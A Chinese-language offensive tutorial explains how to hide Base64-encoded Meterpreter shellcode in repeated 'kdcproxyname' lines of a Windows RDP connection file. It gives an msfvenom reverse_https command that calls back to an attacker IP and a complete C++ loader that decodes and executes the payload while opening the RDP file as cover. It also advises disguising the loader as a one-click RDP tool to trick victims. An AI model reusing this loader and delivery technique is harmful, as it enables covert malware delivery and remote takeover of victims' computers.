前言

随着网络钓鱼技术的不断发展,攻击手段也变得越来越复杂和隐蔽且攻击者已经熟练地利用 Windows 的标准功能来传递恶意负载。虽然这些方法看似巧妙,但实际上存在潜在的操作安全风险。这些技术可能会无意中暴露攻击者的行踪,使防御者能够发现并有效应对。

在现今环境中,尖端的预防技术已成为常态,成功传递恶意负载而不引起警报已成为一门真正的艺术。

而通过 Windows 内部服务配置文件及其注入内容的技术可以很适合的达到这一点。在本篇文章中,我们将以研究 RDP 连接文件为例。要注入RDP有效负载,关键在于如何确保 RDP 连接文件在嵌入内容后仍能正常工作。

文件结构

RDP 连接文件,通常以.rdp结尾,是一种配置文件,用于简化与 Windows 系统的远程桌面连接。这个文件包含多个参数,每个参数都对远程连接的设置和行为起到重要作用。

文件结构的细节可能因RDP客户端版本和配置有些差异,但通常存在以下组件。

  • screen mode id:i:2:屏幕模式 ID,2 表示全屏模式。
  • use multimon:i:0:是否使用多显示器,0 表示不使用。
  • desktopwidth:i:2560:远程桌面的宽度,单位为像素。
  • desktopheight:i:1440:远程桌面的高度,单位为像素。
  • session bpp:i:32:会话的颜色深度,32 表示 32 位色。
  • winposstr:s:0,3,0,0,800,600:窗口位置和大小参数。
  • compression:i:1:是否启用压缩,1 表示启用。
  • keyboardhook:i:2:键盘钩子模式,2 表示在远程会话中启用。
  • audiocapturemode:i:0:音频捕获模式,0 表示禁用。
  • videoplaybackmode:i:1:视频播放模式,1 表示启用。
  • connection type:i:7:连接类型,7 表示高质量宽带。
  • networkautodetect:i:1:是否自动检测网络,1 表示启用。
  • bandwidthautodetect:i:1:是否自动检测带宽,1 表示启用。
  • displayconnectionbar:i:1:是否显示连接栏,1 表示启用。
  • enableworkspacereconnect:i:0:是否启用工作区重新连接,0 表示禁用。
  • disable wallpaper:i:0:是否禁用壁纸,0 表示不禁用。
  • allow font smoothing:i:0:是否允许字体平滑,0 表示不允许。
  • allow desktop composition:i:0:是否允许桌面组合,0 表示不允许。
  • disable full window drag:i:1:是否禁用全窗口拖动,1 表示禁用。
  • disable menu anims:i:1:是否禁用菜单动画,1 表示禁用。
  • disable themes:i:0:是否禁用主题,0 表示不禁用。
  • disable cursor setting:i:0:是否禁用光标设置,0 表示不禁用。
  • bitmapcachepersistenable:i:1:是否启用位图缓存持久化,1 表示启用。
  • full address:s:192.168.0.173:远程桌面的完整地址。
  • audiomode:i:0:音频模式,0 表示在本地播放。
  • redirectprinters:i:1:是否重定向打印机,1 表示启用。
  • redirectlocation:i:0:是否重定向位置,0 表示禁用。
  • redirectcomports:i:0:是否重定向 COM 端口,0 表示禁用。
  • redirectsmartcards:i:1:是否重定向智能卡,1 表示启用。
  • redirectwebauthn:i:1:是否重定向 Web 身份验证,1 表示启用。
  • redirectclipboard:i:1:是否重定向剪贴板,1 表示启用。
  • redirectposdevices:i:0:是否重定向 POS 设备,0 表示禁用。
  • drivestoredirect:s::重定向的驱动器列表。
  • autoreconnection enabled:i:1:是否启用自动重新连接,1 表示启用。
  • authentication level:i:2:身份验证级别,2 表示中等。
  • prompt for credentials:i:0:是否提示输入凭据,0 表示不提示。
  • negotiate security layer:i:1:是否协商安全层,1 表示启用。
  • remoteapplicationmode:i:0:远程应用模式,0 表示禁用。
  • alternate shell:s::备用Shell程序。
  • shell working directory:s::Shell工作目录。
  • gatewayhostname:s::网关主机名。
  • gatewayusagemethod:i:4:网关使用方法,4 表示自动检测。
  • gatewaycredentialssource:i:4:网关凭据来源,4 表示自动检测。
  • gatewayprofileusagemethod:i:0:网关配置文件使用方法,0 表示禁用。
  • promptcredentialonce:i:0:是否仅提示一次凭据,0 表示禁用。
  • gatewaybrokeringtype:i:0:网关代理类型,0 表示禁用。
  • use redirection server name:i:0:是否使用重定向服务器名,0 表示禁用。
  • rdgiskdcproxy:i:0:是否使用 KDC 代理,0 表示禁用。
  • kdcproxyname:s::KDC 代理名。
  • enablerdsaadauth:i:0:是否启用 RDS AAD 身份验证,0 表示禁用。

在检查了 RDP 文件结构的所有参数后,我们可以发现如果尝试超出特定参数允许的字符长度限制,或者以不规范的方式放置负载,RDP 连接文件将无法正常工作,并且会被视为损坏或损坏。

经过多次尝试会发现参数 kdcproxyname:s: 可以用来存放 Base64 编码的内容。由于它属于高级选项,可以多次使用而不会损坏文件功能。那么我们可以尝试将 Shellcode 的 Base64 编码内容放入文件结构中,且同时保持连接的可用性。

构建利用程序

我们可以使用Metasploit工具执行msfvenom -p windows/x64/meterpreter/reverse_https LHOST=攻击者IP地址 LPORT=443 -f raw > http.raw命令生成Shellcode。

然后执行base64 http.raw | sed 's/.*/kdcproxyname:s:&/' > http.txt命令将kdcproxyname:s:参数附加到Shellcode的每一行(如下图所示)。

然后,我们打开RPD窗口并点击显示选项,将会显示连接设置选项,点击另存到桌面即可看到一个名为Default.rdp的RDP文件(如下图所示)。

然后,我们可以通过记事本打开这个RDP文件,并将Shellcode有效负载嵌入到RDP文件中(如下图所示)。

保存文件后,可以打开该文件尝试连接,可以看到仍然有效且未损坏(如下图所示)。

接下来,我们编写shell.cpp文件如下所示用来提取RDP文件内嵌入的Shellcode来执行。

#include <windows.h>
#include <stdio.h>
#include <stdint.h>

unsigned char global_decoded_array[4096];
int global_decoded_index = 0;

//函数指针
typedef void (*ShellcodeFunction)();

const char base64_chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

int base64_decode(const char* input, BYTE* output) {
    int in_len = strlen(input);
    int i = 0, j = 0, in = 0;
    uint8_t char_array_4[4], char_array_3[3];

    while (in_len-- && input[in] != '=') {
        char_array_4[i++] = input[in++];
        if (i == 4) {
            for (i = 0; i < 4; i++) {
                char_array_4[i] = strchr(base64_chars, char_array_4[i]) - base64_chars;
            }

            char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
            char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
            char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];

            for (i = 0; i < 3; i++) {
                output[j++] = char_array_3[i];
            }
            i = 0;
        }
    }

    if (i) {
        for (int k = i; k < 4; k++) {
            char_array_4[k] = 0;
        }

        for (int k = 0; k < 4; k++) {
            char_array_4[k] = strchr(base64_chars, char_array_4[k]) - base64_chars;
        }

        char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
        char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
        char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];

        for (int k = 0; k < i - 1; k++) {
            output[j++] = char_array_3[k];
        }
    }

    return j;
}

void executeShellcode(void* baseAddress) {
    ShellcodeFunction shellcode = (ShellcodeFunction)baseAddress;
    shellcode();
}

int main() {
    HANDLE hndlRead;
    WCHAR* szReadBuffer;  //使用 WCHAR 支持 Unicode
    INT fileSize;
    SIZE_T sDSize;
    BYTE decoded_data[510];
    HANDLE hThread = NULL;
    DWORD dwThreadId = NULL;

    hndlRead = CreateFileW(L"Default.rdp", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

    if (hndlRead != INVALID_HANDLE_VALUE) {
        fileSize = GetFileSize(hndlRead, NULL);
        szReadBuffer = (WCHAR*)calloc(fileSize / 2 + 1, sizeof(WCHAR));  // +1 为 NUL 字符串终止符
        DWORD nb = 0;
        int nSize = fileSize;
        if (szReadBuffer != NULL) {
            ReadFile(hndlRead, szReadBuffer, nSize, &nb, NULL);
        }

        CloseHandle(hndlRead);  //关闭打开的内容
        WCHAR* textwithoutbom = szReadBuffer + 1;

        //检索 kdcproxyname:s: 参数并提取 Base64 字符串
        WCHAR* current_position = textwithoutbom;
        WCHAR base64_buffer[4096];  //根据需要调整缓冲区大小
        while ((current_position = wcsstr(current_position, L"kdcproxyname:s:")) != NULL) {
            current_position += wcslen(L"kdcproxyname:s:");
            if (swscanf(current_position, L"%4095[^\n]", base64_buffer) == 1) {
                //将 WCHAR * 类型转换为 char * 类型
                char base64_buffer_char[4096];
                wcstombs(base64_buffer_char, base64_buffer, 4096);

                //使用自定义函数解码 Base64 字符串
                int decoded_length = base64_decode(base64_buffer_char, decoded_data);

                //将解码后的数据复制到全局数组中
                for (int i = 0; i < decoded_length; i++) {
                    global_decoded_array[global_decoded_index++] = decoded_data[i];
                    if (global_decoded_index >= 4096) {
                        printf("Global array is full, cannot copy more data.\n");
                        break;
                    }
                }
            }
        }

        sDSize = global_decoded_index;
        printf("[+] Allocated Size %zu\n", sDSize);

        PVOID baseAddress = VirtualAlloc(NULL, sDSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
        memcpy(baseAddress, global_decoded_array, sDSize);

        DWORD dwOldProtection = NULL;

        if (!VirtualProtect(baseAddress, sDSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
            printf("[!] VirtualProtect Failed With Error : %d \n", GetLastError());
            return -1;
        }

        ShellExecuteW(NULL, L"open", L"Default.rdp", NULL, NULL, SW_SHOWNORMAL); 

        //执行Shellcode
        executeShellcode(baseAddress);
        getchar();

        return 0;
    }
}

使用Visual Studio生成解决方案后,将该exe可执行文件移动到与Default.rdp同一文件并设置Metasploit模块监听后,运行exe可执行文件即可获取系统会话(如下图所示)。

通过该方法,攻击者可以定制加载器以修改 RDP 连接文件。比如,目标需要连接指定用户或IP地址,我们可以构建伪装成一个一键连接指定RDP服务的程序诱使受害者点击运行。以 full address:s: 参数为例:

WCHAR modified_content[1000];
swprintf(modified_content, L"%sfull address:s:rdp.free.org\n", textwithoutbom);

// 将修改后的内容写入文件
DWORD bytesWritten = 0;
if (!WriteFile(hndlWrite, modified_content, wcslen(modified_content) * sizeof(WCHAR), &bytesWritten, NULL)) {
    printf("写入文件时出错: %d\n", GetLastError());
}

结论

通过将恶意内容插入 RDP 连接文件,攻击者可以通过结合加载器和 RDP 连接配置文件来利用该方法,如使用 EXE、DLL、VBA、JS 等多种格式交付加载器。